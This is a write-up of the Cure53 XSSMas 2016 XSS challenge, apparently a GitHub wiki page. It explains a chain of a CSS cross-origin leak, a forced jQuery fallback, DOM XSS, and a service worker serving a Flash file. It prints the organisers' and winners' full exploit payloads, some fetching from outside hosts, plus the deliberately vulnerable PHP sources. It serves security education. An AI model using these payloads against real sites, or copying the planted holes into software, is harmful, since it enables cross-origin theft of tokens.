Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

XSSMas Challenge 2016

Masato Kinugawa edited this page Feb 10, 2017 · 11 revisions

Welcome to the Write-Up of the Cure53 XSSMas Challenge 2016. A challenge that is known to be the hardest, the most complex and the most sophisticated XSS challenge ever created by men. The challenge was brought to you by Masato Kinugawa, Filedescriptor and Mario Heiderich, and all of them are not unknown for bringing you XSS challenges that consume way more of your productive time than you might have ever imagined or anticipated.

The Challenge:

Since the beginning of mankind, the XSSMas has been about Santa. It is the special Santa who knows all charsets and all event constructors, and he even has a beard… but, whoa! He had gotten himself into some serious trouble! He got jailed. Too much eggnog and reindeer-powder. So the challenge participants had the job of rescuing him. Who wouldn’t like getting Santa out of the stinky hell-hole of a prison and guiding him back into freedom? And all that with a chance of some presents!

The technical setup for the Santa-jailbreak was actually quite simple. There were two important sub-domains: xssmas2016.cure53.de and juicyfile.cure53.de. The challenge started on xssmas2016.cure53.de but the key to free Santa resided on juicyfile.cure53.de, which was protected by the Same Origin Policy. To retrieve the key, a chain of tricks needed to be employed.

The first step was to get access to a website called pathway. This website, however, could only be entered if a proper access key had been supplied via GET. Of course, that access key wasn’t static but changed from user-to-user. In other words, one was required to steal it dynamically and the question was how to do it.

To steal the key the contestants needed to employ a specific trick. They weren’t supposed to directly access and steal it, but rather leak it into the DOM of a website they were actually able to control. This was for instance possible on the submit tool we provided. To do this successfully, a participant had to employ a CSS leak and import the page containing the key into their current DOM as an external stylesheet, further getting around a couple of limitations with the help of null bytes. A presence of a multi-byte charset (e.g. UTF-16BE) had to be worked out and assured somehow for a competitor to ultimately access the actual key from the DOM properties (e.g. getComputedStyle) and use it to fire the next request.

The exfiltration technique employed here was actually a browser bug that existed in Chrome. Regrettably it was fixed a while ago when Chrome started to refuse loading a cross-origin resource as a stylesheet with incorrect CSS MIME type.

This bug can be checked out in here.

Now you might wonder: since it was fixed, how could one solve it without nasty 0-day tricks? The secret was hidden in the setup of the challenge.

The token endpoint is actually served without the HTTP Content-Type header. When this happens, Chrome performs Content Sniffing and the restriction gets bypassed. That was trivial and mastered with ease by most of the challengers, yet that was not the end of the game and the next step was much more difficult to complete.

The next page, once reached with the leaked key, exposed a DOMXSS vulnerability. A special one too because technically there was no issue present. The contestants quickly noticed that the website pulls a fairly modern jQuery version from the jQuery CDN and then allows user-input to be used on the $ method’s arguments. This had been an XSS ages ago but had no longer worked during the challenge. Special circumstances applied to this location, however, and could be seen from the fact that the website provided a fallback for old MSIE version. It checked for the presence of jQuery after loading it from the CDN. With its absence, it proceeded with loading an older and vulnerable jQuery from its own domain. If the contestants were able to stop the CDN provided jQuery from loading, the old jQuery would have been loaded instead and we would get back to a proper DOMXSS, essentially allowing the next steps to be carried out. But how does one arrive there?

One interesting thing is that the jQuery CDN host (namely code.jquery.com) would fail to load when the header fields are too large, which is kind of similar to an HTTP 414 error. A hint we gave out via Twitter told the story already. “Alalalalalong alalalong...”. Of course! Overly long HTTP referrer forcing the jQuery CDN into aborting the connection, no jQuery being loaded and the old version being used as fallback. This could be achieved by having a very long query string in a pathway. Easy!

This is actually quite a useful trick if you intend to block a certain script from executing and carrying out your exploit. While most challenge-participants found this route to success after some time, others got stuck at this point. Maybe our hint wasn’t as great as we thought after all. Still, life is not a pony ride...

As a side note, we also expected submissions which abuse XSS in *.jquery.com and DoS via Cookie Bomb. We were not disappointed as we did receive two submissions which relied on that exact idea and approach.

Assuming that you got past the last step, we still had more fun ahead. The next step was again a tricky one and required a challenge participant to be able to break SOP and retrieve the token from juicyfile.cure53.de. The SWF of Santa and his reindeer kind of hinted that this level involved Flash. If you looked carefully, you could notice crossdomain.xml allowing access from xssmas2016.cure53.de. The problem remained that there was not a single SWF file on xssmas2016.cure53.de. After a bit of fiddling you may have come across the vital information about the token supporting two additional file formats: XML and JSONP. The former is actually a misdirection while the latter is the real deal. Let’s recall: what’s special about JSONP? Well, there’s a callback parameter which lets you control the very first bytes. More importantly, it may be vulnerable to Rosetta Flash (aka forcing the Flash loader to load a JSONP endpoint). In the challenge setting, however, this was prevented by prepending a block JavaScript comment so that the first byte was not controllable.

There had been one more clue to investigate as all else failed and that was a final hint showing a bunch of workers… city workers… Service Workers? You bet! By registering the JSONP response as a service worker for the site, we can proxy the traffic and create a SWF file response as if it existed. Finally, all stars were aligned.

Model Solution:

Below you can find the model solution we created to prove to ourselves that it was truly possible to solve the challenge. Note that this approach and all other solutions shown in this article might not work anymore on the most recent Chrome versions. This is because the Chrome team has recently decided to treat the most amazing and relevant web technology of all times with too little respect, yet we stand united and chant: Make-Flash-great-again!

<link rel="stylesheet" charset="utf-16be" href="https://xssmas2016.cure53.de/token.json?v=%00,%00*%00{%00f%00o%00n%00t%00-%00f%00a%00m%00i%00l%00y%00:%00"> 
<body>
<script type="text/plain" id="payload"><img src=x onerror='navigator.serviceWorker.register(`token.jsonp?callback=onfetch=e=>e.respondWith(fetch("//vulnerabledoma.in/misc/xssmas_samplepoc.swf"))//`).then(_=>location=1)'></script>
<script>
    var rawData = getComputedStyle(document.body).fontFamily;
    var decodedData = unescape(escape(rawData).replace(/%u([\da-f]{2})([\da-f]{2})/gi, '%$1%$2'));
    var token = decodedData.match(/[a-z\d]+(?="})/)[0];
    location = `https://xssmas2016.cure53.de/pathway?${'a'.repeat(8000)}&access_token=${token}#${payload.innerHTML}`
</script>
</body>

Here is the AS code we used to bake the Flash:

package {
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.net.*;
    import flash.external.*;

    public class xssmas_samplepoc extends Sprite {
        public function xssmas_samplepoc() {
            var loader:URLLoader = new URLLoader();
            loader.addEventListener(Event.COMPLETE, completeHandler);
            loader.addEventListener("ioError", errorHandler);
            loader.addEventListener("securityError", errorHandler);
            loader.load(new URLRequest("//juicyfile.cure53.de/"));
        }

        private function completeHandler(event:Event):void {
            var loader:URLLoader = URLLoader(event.target);
            var token:String = loader.data.slice(0,37);
            ExternalInterface.call("alert",token);
        }
        
        
        private function errorHandler(event:Event):void {
            ExternalInterface.call("alert","Error: " + event.toString());
        }
    }
}

As you can see from the code above, the model solution first leaks the token via CSS, buttered up with null bytes. It then extracts the value from the DOM, uses it to request the pathway page, create an overlong referrer, here forcing the jQuery CDN to say “Ugh!”. From there a DOMXSS occurs and you could install the service worker that is an SWF file, which then grabs the key thanks to the permissive crossdomain.xml. At this point the door pops and the old white-bearded beer-bellied rabble-rouser is free! XSSMas is saved!

Winners:

Now, let us present to you the winners of the challenge. If they are unable to find and exploit a complex client-side bug, then probably no one can! Well, perhaps some others still can. But they are not too many :)

  • @MaxPlancks with an elegant 1496 bytes in total (the first one to solve).
  • @BenHayak & @SecurityMB with breathtaking 502 bytes in total (the shortest solution)
  • @TheBoredEng & @BBuerhaus & @Smiegles for solving the Bonus Level.

Relevant/Winning Vectors:

The shortest submission by @BenHayak and @SecurityMB, 502 bytes

URL:

https://cure53.de/xmas2016/submit?%3Csvg%20onload%3Dlocation%3D%27%2F%2Fp0.al%27%3E

HTML Trigger:

<svg onload=location='//p0.al'>

AS:

var _loc2_ = new LoadVars();
_loc2_.onData = function(_loc2_)
{
   getURL("javascript:`" + _loc2_ + "`<`e`?alert(`" + _loc2_.substr(0,37) + "`):plugin.innerHTML=`<link/charset=\'utf-16be\'rel=\'stylesheet\'href=\'//xssmas2016.cure53.de/token.json?v=`+`,*{animation:`.replace(/./g,`%2500$&`)+`\'onload=e()>`;e=e=>location=`//xssmas2016.cure53.de/pathway?access_token=`+escape(getComputedStyle(plugin).animation).replace(/%u(..)/g,`%$1%`).slice(54,93)+`&`.repeat(5493)+\"#<img/src/onerror=\'navigator.serviceWorker.register`token.jsonp\"+\'?v=\"});onfetch=e=>e.respondWith(fetch(\"//p0.al\"))//`.then(t=>location=t)\\\'>\'","");
};
_loc2_.load("//juicyfile.cure53.de");

The second place by @cgvwzq

URL:

https://cure53.de/xmas2016/submit?%3Cbase%20href%3D%2F%2Fxssmas2016.cure53.de%3E%3Clink%20rel%3Dstylesheet%20onload%3Dlocation%3D%60pathway%3Faccess_token%3D%24%7Bescape(getComputedStyle(body).getPropertyValue%60--%60).replace(%2Fu(..)(..)%2Fg%2C%27%242%25%241%27).slice(56%2C93)%7D%26%60.repeat(99)%2Bid%20href%3Dtoken.json%3Fv%3D%2C%2500*%2500%7B%2500-%2500-%2500%3A%2500%20id%3D%22%23%3Cimg%20onerror%3D%27all%5B4%5D.content%7C%3Dnavigator.serviceWorker.register%60token.jsonp%3Fcallback%3Donfetch%3De%3D%3Ee.respondWith(fetch(%2F%5C%5C%CF%99.tv%2F))%60%27src%3E%22charset%3Dutf-16%3E

HTML Trigger:

<base href=//xssmas2016.cure53.de>
<link rel=stylesheet onload=location=`pathway?access_token=${escape(getComputedStyle(body).getPropertyValue`--`).replace(/u(..)(..)/g,'$2%$1').slice(56,93)}&`.repeat(99)+id href=token.json?v=,%00*%00{%00-%00-%00:%00 id="#<img onerror='all[4].content|=navigator.serviceWorker.register`token.jsonp?callback=onfetch=e=>e.respondWith(fetch(/\\ϙ.tv/))`'src>"charset=utf-16>

AS:

var _loc2_ = new XML();
_loc2_.onLoad = function(onData)
{
   getURL("javascript:alert(`" + onData + "`.slice(0,37))");
};
_loc2_.load("//juicyfile.cure53.de");

Third place by @AvlidienBrunn and @ZetaTwo

URL:

https://cure53.de/xmas2016/submit?%3Clink%20id%3Dk%20onload%3Dlocation%3Da%2B%60pathway%3F%24%7Bid.repeat(6e3)%7D%26access_token%3D%24%7Bunescape(escape(getComputedStyle(k).animation).replace(%2F%25u(..)(..)%2Fg%2C%27%25%242%25%241%27)).slice(18%2C31)%7D%23%3Cimg%2Fsrc%2Fonerror%3Dnavigator.serviceWorker.register(%22token.jsonp%3Fcallback%3Donfetch%3De%3D%253ee.respondWith(fetch(%27%2F%2Fh4q.se%27))-%22)%3Bhistory.go()%5Cx3e%60%20charset%3Dutf-16%20rel%3Dstylesheet%3E%3Csvg%20onload%3Dk.href%3D(a%3D%2F%5Cxssmas2016.cure53.de%2F)%2B%27token.json%3Fv%3D%27%2B%27%2C*%7Banimation%3A%27.replace(%2F(.)%2Fg%2C%22%241%2500%22)%3E

HTML Trigger:

<link id=k onload=location=a+`pathway?${id.repeat(6e3)}&access_token=${unescape(escape(getComputedStyle(k).animation).replace(/%u(..)(..)/g,'%$2%$1')).slice(18,31)}#<img/src/onerror=navigator.serviceWorker.register("token.jsonp?callback=onfetch=e=%3ee.respondWith(fetch('//h4q.se'))-");history.go()\x3e` charset=utf-16 rel=stylesheet><svg onload=k.href=(a=/\xssmas2016.cure53.de/)+'token.json?v='+',*{animation:'.replace(/(.)/g,"$1%00")>

AS:

var onData = new LoadVars();
onData.onData = function(onData)
{
   getURL("javascript:alert(\'" + onData.split("\n")[0] + "\')");
};
onData.load("//juicyfile.cure53.de");

Fourth Place, by @TheBoredEng & @BBuerhaus & @Smiegles

URL:

https://cure53.de/xmas2016/submit?%3Cbase%20href%3D%2F%2Fxssmas2016.cure53.de%3E%3Clink%20id%3Da%20rel%3Dstylesheet%20href%3Dtoken.json%3Fv%3D%2500%2C%2500*%2500%7B%2500-%2500-%2500a%2500%3A%20charset%3Dutf-16be%3E%3Cscript%3Elocation%3D%27pathway%3Faccess_token%3D%27%2Bunescape(escape(getComputedStyle(a).getPropertyValue%60--a%60).replace(%2F%25u(..)(..)%2Fg%2C%27%25%241%25%242%27)).substring(18%2C31)%2B%27%26%27.repeat(6000)%2B%22%23%3Cimg%2Fsrc%3Dx%20onerror%3Dnavigator.serviceWorker.register%60%2Ftoken.jsonp%3Fcallback%3Donfetch%3D(e)%3D%253E%7Be.respondWith(fetch(%27%2F%2F62.to%27))%7D%3B%60.then(function()%7Blocation%3D%27%27%7D)%3E%22%3C%2Fscript%3E

HTML Trigger:

<base href=//xssmas2016.cure53.de>
<link id=a rel=stylesheet href=token.json?v=%00,%00*%00{%00-%00-%00a%00: charset=utf-16be>
<script>location='pathway?access_token='+unescape(escape(getComputedStyle(a).getPropertyValue`--a`).replace(/%u(..)(..)/g,'%$1%$2')).substring(18,31)+'&'.repeat(6000)+"#<img/src=x onerror=navigator.serviceWorker.register`/token.jsonp?callback=onfetch=(e)=%3E{e.respondWith(fetch('//62.to'))};`.then(function(){location=''})>"</script>

AS:

class X
{
   function X()
   {
   }
   static function main(m)
   {
      var _loc3_ = new LoadVars();
      _loc3_.onData = function(s)
      {
         getURL("javascript:alert(\'" + s.split("\n")[0] + "\')","_self");
      };
      _loc3_.load("//juicyfile.cure53.de",_loc3_,"GET");
   }
}

First Solver, @MaxPlancks

URL:

https://cure53.de/xmas2016/submit?%3Cbody%3E%3Clink%20rel%3Dstylesheet%20charset%3Dutf-16%20href%3D%2F%2Fbit.ly%2F2iT8TwT%3E%3Cscript%3Elocation%3D%22%2F%2Fxssmas2016.cure53.de%2Fpathway%3Faccess_token%3D%22%2Bunescape(escape(getComputedStyle(document.body).fontFamily).replace(%2F%25u(%5B%5Cda-f%5D%7B2%7D)(%5B%5Cda-f%5D%7B2%7D)%2Fgi%2C%22%25%242%25%241%22)).substr(18%2C13)%2B%22%26%22%2B%27A%27.repeat(8100)%2B%22%23%22%2B%60%22%3E%3Cimg%20src%20onerror%3D%27eval(navigator.serviceWorker.register(%22%2Ftoken.jsonp%3Fv%3D1%26callback%3D%22%2Bescape(%22addEventListener(%5C%60install%5C%60%2Ca%3D%3E%7B%7D)%2CaddEventListener(%5C%60fetch%5C%60%2Ca%3D%3E%7Ba.respondWith(fetch(%5C%60%2F%2Frawgit.com%2Fxm9%2Fx%2Fmaster%2Fe.swf%5C%60))%7D)%3B%22))%2Clocation.reload())%27%3E%60%3C%2Fscript%3E

HTML trigger:

<body>
<link rel=stylesheet charset=utf-16 href=//bit.ly/2iT8TwT>
<script>location="//xssmas2016.cure53.de/pathway?access_token="+unescape(escape(getComputedStyle(document.body).fontFamily).replace(/%u([\da-f]{2})([\da-f]{2})/gi,"%$2%$1")).substr(18,13)+"&"+'A'.repeat(8100)+"#"+`"><img src onerror='eval(navigator.serviceWorker.register("/token.jsonp?v=1&callback="+escape("addEventListener(\`install\`,a=>{}),addEventListener(\`fetch\`,a=>{a.respondWith(fetch(\`//rawgit.com/xm9/x/master/e.swf\`))});")),location.reload())'>`</script>

AS:

package
{
   import flash.display.Sprite;
   import flash.events.Event;
   import flash.external.ExternalInterface;
   import flash.net.URLLoader;
   import flash.net.URLRequest;
   
   public class ex extends Sprite
   {
       
      
      public function ex()
      {
         super();
         var loader:URLLoader = new URLLoader(new URLRequest("https://juicyfile.cure53.de/index.php"));
         loader.addEventListener("complete",this.completeHandler);
      }
      
      private function completeHandler(event:Event) : void
      {
         ExternalInterface.call("alert",URLLoader(event.target).data);
      }
   }
}

Bonus Challenge:

It wouldn’t be nearly as fun if we hadn’t added a small and hidden bonus level! This was available for the contestants who managed to solve the actual challenge quickly and, in addition, had the chops to find an elegant solution in case two contestants showed up with the same tricks and the same final length of a vector. This level could be solved independently of the actual challenge and was just included for the aforementioned reasons of tie-breaking. Regarding the storyline, it assumed you had already freed Santa from his icy stink-hole prison. At that point of the challenge, you were just you waiting in the snow because you had no ride for getting home. Super-plausible if you ask us!

The job here was to find the hidden page and hidden parameters, bypass the CSP, and fire an alert. First, scrolling the HTML source of xssmas2016.cure53.de to the bottom led to a cryptic message encoded in ROT53 (that’s right). Once decoded, it would reveal the existence of the hidden bonus level. Then, inspecting the response from juicyfile.cure53.de, you may have noticed there was a weird header X-Bonus: 142f32e78509dde. After assuming it implied a directory, you landed in the hidden challenge page.

Now for the hidden parameter: it was pretty straightforwardly contained as a comment in the HTML source which instructed challenge-participants to insert the “universal cell key”. In other words you needed to use the token as the parameter. Even though it let you inject arbitrary HTML codes, no XSS was possible because of the CSP setting. Hmm...

Remember the Santa SWF file? When you decompile it, you can see it is vulnerable to Same Origin Method Execution (SOME). However, SOME itself is not enough to make it as arguments are not controllable. That’s why the page imports Prototype.js. There is a method String#evalScripts which evaluates the contents of any inline <script> block present in the string. The way it works is to parse a string, extract the JavaScript codes and eval them. Coincidentally, the script-src directive has unsafe-eval.

So there you had it and could place your payload in the URL hash, then use SOME to execute location.hash.evalScripts() - and BOOM!

Challenge Sources:

Below are the relevant parts of the sources we used for the challenge, sorted by domain.

Complaints about bad coding style, weird indentation and the undecipherable structure are welcome and should be issued our XSS Challenge Support Back-Office Team. You can reach it via a landline, fax or ICQ live-chat. If you only manage to reach the answering machine, keep trying as long as necessary. Extra fees might be charged.

xssmas2016.cure53.de

index.php

<?php
    $spells = array(
        'Eggnog is actually good for you!',
        'The reindeer made me do it!',
        'I thought I heard someone...',
        'Just one more line of reindeer-dust...',
        'I should not have said that.',
        'Use CSP! It really works!',
        'Brush your teeth at least twice a day.',
        md5(rand(0,9999)),
        base64_encode(md5(rand(0,9999))),
        base64_encode(rand(0,9999)),
        'Winners check headers. Not kidding.',
        'CSP is the past, the present and the future of web security. Invest all you have into it.',
        'XSS Filters. Best idea ever.',
        'Douglas Crockford was right.',
        'Infosec fatigue is a thing.',
        'Some weird bird laid an egg and out came a chicken. Solved.',
        'Let\'s just remove doublequotes, that should do.',
        'Gets clickjacked, breaks his arm.',
        'Reindeer are people too.',
        'Indiana Jones and the golden Cookie.',
        'We are running out of puns',
        'Make ActiveX Great Again! #MAGA',
        'Webworkers are illegal in some states.',
        'The EU really needs to regulate the DOM.',
        'That\'s it, I am back to using MSIE6.',
        'Hi Eduardo!',
        'Hi Ben!',
        'Hi Pepe!',
        'Hi Gareth!',
        'Do not click the invisible button!',
        'It was an Advanced. Persistent. Threat. I swear.',
        'Lost my wallet. Probably Russian hackers did it.',
        'Mothers against SSL, our kids have nothing to hide!',
        'Never forget. It is just a website.',
        'Hello, how can I help you?',
        'This is the hidden Cure53 Support Chat: How are you today?',
        'Looking for senior angular dev. 15 years experience required.',
        'Fonts. What are they??',
        'Regex as a Service.',
        'Have you seen my reindeer?',
        'PhD in Emoji. Gonna happen in 2017. You heard it here first!',
        'More Gigabytes!',
        'Grüezi, VRP folks :)',
        'Isn\'t it weird how many people have actual pet pigs?',
        'Wait until the piggy grows up.',
        'You cannot believe how much they eat!',
        'Click 𝐡𝐞𝐫𝐞 to get access to Stage 4'
    );
    $chosen = $spells[rand(0, count($spells)-1)];
?>
<title>Cure53 XSSMas Challenge 2016 - <?php echo $chosen; ?></title>
<script src="challenge.js"></script>
<link rel="stylesheet" href="style.css">
<meta charset="utf-8">
<?php

// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Content-Type: text/html; charset=utf-8');
header('Content-Security-Policy: default-src \'self\'; style-src \'self\' fonts.googleapis.com; font-src fonts.gstatic.com');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1); // No SSL for now    
ini_set('session.use_only_cookies',1);

session_start();
session_regenerate_id();

?>
<h1>Ho, ho, ho! The Cure53 XSSMas Challenge 2016 is here!</h1>
<h2>Welcome to the <i>toughest</i> XSSMas challenge to date. And welcome to the erm.. jailbreak community!</h2>
<h3>While our community already isn't low on folks breaking jails of varying relevance, this time we actually have a serious request for you! Help Santa!</h3>
<p>
    This time, Santa really needs your help. He completely overdid it with eggnog and reindeer-dust and well, they arrested him and locked him up real good. What does that mean? No gifts this year, that's what it means. But you can help!
</p>
<p>
    Santa got locked up in a cyber-prison close to the south pole and only <i>your skills</i> can bust him out and save XSSMas. Are you willing to do it? 
    Are you ready to go all-in for Santa? Let's sure do hope so! Santa made a lot of ka-ching by selling reindeer-dust - he will reward you generously!
</p>
<div id="pathway">
<a href="#" id="door">This is the front door to the prison, visitor area. It is of course well-protected.</a>
</div>
<h2>But Santa, oh Santa, what are the rules?</h2>
<ol>
    <li><b>The key to free Santa resides on <i>juicyfile.cure53.de</i>. You need to retreive it from your safe-zone on <i>xssmas2016.cure53.de</i> and alert it to free him from prison! Don't use any other origin than <i>xssmas2016.cure53.de</i> - it's not safe out there!</b></li>
    <li>The utilization of user interaction is <i>not</i> allowed. Not at all. No click, no mouse-over, no focus, no nothing.</li>
    <li>The solution must work in an up-to-date browser like Chrome 55+, Firefox 50+, Safari 10+ and Edge 14+. No IE11, no browser older than the current stable release.</li>
    <li>The first valid submission will earn you <b>a 500 EUR cash prize!</b> Be quick!</li>
    <li title="Thanks to our generous sponsors, we amassed quite some prize money. Maybe even more than it says here :D *cough*">The shortest valid submission (at the moment the challenge ends) will earn you <b>a 1000 EUR cash prize!</b> Be smart!</li>
    <li>The challenge ends on <b>31st of January 2017, 20:17 CET (that's 8:17pm)</b></li>
    <li>And lastly, as usual, we make the rules, we decide, we reserve the right to fail and re-decide if it helps the challenge. Yes means yes and no means no. There will be no discussions.</li>
</ol>
<h2>Now, what am I supposed to do to avoid becoming reindeer fodder?</h2>
<ol>
    <li>Fetch the key and alert it. This frees Santa. Watch out for maybe even more hidden tasks.</li>
    <li>Watch out for hints here and there, think outside the box.</li>
    <li>You cannot solve this challenge by brute-force. Stop your scanner, save a tree.</li>
    <li>Don't try to social-engineer us like folks tried last year. We will be extra careful now, John!</li>
    <li>Revisit the most interesting techniques published in 2016 and see if they apply here.</li>
    <li>Visit this page then and when and see if there is new hints.</li>
</ol>
<h2>How do I test my vector?</h2>
<p>It's easy, you simply submit it here: <a href="https://cure53.de/xmas2016/submit">XSSMas 2016 Solution Submitter</a></p>
<h2>How do you count the length?</h2>
<ol>
    <li>We count what you submit usign the tool linked above. In raw bytes. Just send us the solution and we will test it using the "XSSMas 2016 Solution Submitter" as well.<!-- Try to attack this tool and see if we notice :D --></li>
</ol>
<h2>Why would I do all that?</h2>
<ol>
    <li title="...fun, mostly for us when we sit down and watch the server logs">Because it's fun!</li>
    <li>You'll learn crazy things!</li>
    <li>You might win one of two cash prizes :) Or both at the same time! Or maybe even more?</li> 
</ol>
<p>
    Now go forth and crack the XSSMas Challenge and free Santa :D And let us, 
    <a href="https://twitter.com/filedescriptor">@filedescriptor</a>,
    <a href="https://twitter.com/kinugawamasato">@kinugawamasato</a> or 
    <a href="https://twitter.com/0x6D6172696F">@0x6D6172696F</a> know how you like it or if something is broken!
</p>
<p>
    Solved it? Mail us! You'll find out how :)
</p>
<?php echo str_repeat("\r\n", 10000); ?>
<!-- RmlhY2Ygdm9nIHdoIGh2b2ggaHZzZnMgd2cgbyBwY2JpZyB6c2pzeiBvdGhzZiBtY2kgZ2N6anNyIGh2cyBxdm96enNidXMuIE13c3pyd2J1IG9iY2h2c2YgMjUwIFNJRi4gUW9iIG1jaSB0d2JyIHdoPw -->

challenge.js

/**
 * Watch closely to get a hint how to solve the challenge:
 * 
 * https://www.youtube.com/watch?v=ZMo5xKNk51g
 * 
 * Didn't see the hint? Watch again, ideally multiple times in a row.
 * Make sure the volume of your speakers is at 100% * 
 */
window.onload = function(){
    var door = document.getElementById('door');
    door.onclick = function() {
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'token.json?v=1');
        xhr.onload = function(){
            var response = xhr.responseText;
            var json = JSON.parse(response.slice(4));
            var token = json.access_token;
            location.href = 'pathway?access_token=' + token + '#employee';
        }
        xhr.send(null);
        return false;
    };
}
// window.name won't bring ye fame
window.name = '';

pathway.php

<?php

// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Content-Type: text/html; charset=utf-8');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1); // No SSL for now
ini_set('session.use_only_cookies',1);

// start session management
session_start();

if (empty($_SESSION['token']) || $_GET['access_token'] != $_SESSION['token']) {
  die('Access denied');
}
?>
<title>The Cyber-Prison</title>
<body>
<meta http-equiv="Refresh" annoyance="true" content="60;url=/">
<center>
<link rel="stylesheet" href="style.css">
<!-- Q: How do I generate a RSA key for my... A: Have you tried using jQuery? -->
<script src="https://code.jquery.com/jquery-3.1.1.slim.min.js"></script>
<script>
// window.name won't bring ye fame
window.name = '';

// IE8 fallback
window.jQuery || document.write('<script src="jquery.js"><\/script>');
</script>
<h1>Welcome to Cyber-Prison.</h1>
<h2>Secure Area, token accepted!</h2>
<p>
    We got Santa in here! Cellblock 38b, 1<sup>st</sup> one on the left.
</p>
<p>
    You have 60 seconds to say "hi", then we will have to send you back to the entry door.
</p>
<p id="employee" class="employee" style="display:none">
    Information for Cyber-Prison Personnel: Make sure you return the cell keys to <i>juicyfile.cure53.de</i> after shift ends.<br>Do not expose cell key to inmate or visitors! All hail the SOP!
</p>
<p id="admin" class="employee" style="display:none">
    To initiate emergency protocol, access the universal cell key from <i>juicyfile.cure53.de</i> and alert it from this domain. This will free all prisoners.
</p>
<script>
$(location.hash).show();
</script>
</body>

token.json.php

<?php
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
// ini_set('session.cookie_secure',1);
ini_set('session.use_only_cookies',1);

// start session management
session_start();
// DO NOT REGENERATE EVER
if (empty($_SESSION['token']))
    $_SESSION['token'] = uniqid();

if(!isset($format)){
    $format = '';
}
if(!isset($_GET['v'])){
    $_GET['v'] = '';
}

if ($format === 'jsonp') {
    header('Content-Type: text/javascript');
?>
/**/<?php echo $_GET['callback']; ?>({"name":"Xmas challenge 2016","authors":["mario","masato","filedescriptor"],"version":"<?php echo $_GET['v']; ?>"})
<?php } elseif ($format === 'xml') {
    header('Content-Type: text/xml');
    echo '<?xml version="1.0" encoding="UTF-8"?>';
?>

<challenge>
    <name>XSSmas Challenge 2016</name>
    <authors>mario</authors>
    <authors>masato</authors>
    <authors>filedescriptor</authors>
    <version><?php echo htmlspecialchars($_GET['v']); ?></version>
    <accessToken><?php echo $_SESSION['token']; ?></accessToken>
    <video>https://www.youtube.com/watch?v=OKe8HvTVOqs</video>
</challenge>
<?php } else { 
    // enable MIME sniffing
    header('Content-Type: ');
?>
)]}'
{"name":"XSSmas Challenge 2016","authors":["mario","masato","filedescriptor"],"version":"<?php echo str_replace(array('\\', '<', '>', '"'), array('\\u005c', '\\u003c', '\\u003e', '\\u0022'), $_GET['v']); ?>","access_token":"<?php echo $_SESSION['token']; ?>"}

<?php } ?>

token.xml.php

<?php
$format = 'xml';
include 'token.json.php';
?>

token.jsonp.php

<?php
$format = 'jsonp';
include 'token.json.php';
?>

juicyfile.cure53.de

crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="xssmas2016.cure53.de" />
</cross-domain-policy>

index.php

<?php

// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('X-Bonus: 142f32e78509dde');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Content-Security-Policy: default-src \'self\'; style-src \'unsafe-inline\' \'self\'');
header('Content-Type: text/html; charset=utf-8');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1); // No SSL for now    
ini_set('session.use_only_cookies',1);

session_start();
session_regenerate_id();

// if (empty($_SESSION['token']))
$_SESSION['token'] = uniqid();

?>
XSSMAS-uwon-<?php echo $_SESSION['token']; ?>-uwon-XSSMAS
<link rel="stylesheet" href="style.css">
<marquee scrollamount="15"><embed class="jump" src="santa.swf" width="500px" height="500px"></embed></marquee>

/142f32e78509dde/index.php (Bonus Challenge)

<?php

// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Content-Security-Policy: default-src \'self\' \'unsafe-eval\'');
header('Content-Type: text/html; charset=utf-8');

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1); // No SSL for now
ini_set('session.use_only_cookies',1);

// start session management
session_start();

if (empty($_SESSION['token']))
    $_SESSION['token'] = uniqid();

if (!isset($_GET['XSSMAS-uwon-' . $_SESSION['token'] . '-uwon-XSSMAS']))
    $_GET['XSSMAS-uwon-' . $_SESSION['token'] . '-uwon-XSSMAS'] = '';

?>
<title>Cure53 XSSMas 2016 Bonus Stage</title>
<script src="script.js"></script>
<script src="prototype.js"></script>
<?php echo $_GET['XSSMAS-uwon-' . $_SESSION['token'] . '-uwon-XSSMAS'] ?>
<p>
<!-- insert the universal cell key -->

Whoa, you made it! You freed Santa. But now, the two of you are standing in front of the cyber-prison. <b>No sleigh around anywhere.</b> Sh*te!

Have a look around, find and hijack Santa some proper ride. He will certainly say thanks with some extra loot, dime, 
lettuce, fins, dough, grand, yards, bucks, clams, cheddar, will he?

<!-- Did you know Santa loves alerting document.domain? -->
</p>

/142f32e78509dde/script.js

// window.name won't bring ye fame
window.name = '';

Final Words:

So that’s the wrap for the Write-Up of the Cure53’s XSSMas 2016 Challenge. We hope you liked it and managed to take something from it by learning new tricks that you find useful for finding more bugs in the future. We had tons of fun but believe us that organizing and maintaining such a challenge is hell of an endeavour which requires a lot of extra time and dedication.

You don’t wanna know how many emails we had to respond to, how many Twitter DMs, chat messages and other contact requests from literally all possible directions. In addition, the prize money had to come from somewhere too. In fact, the rewards were partly funded by us, and partly received from the sponsors (we love you, sponsors!). Still, we did it! And just as every other year we have done it, we are glad to report it was worth it :)

We hope you enjoyed the challenge and liked the write-up. Let us know if you want us to do another challenge at the end of this year and we are excited about hearing your feedback! Standing by at the fax machine!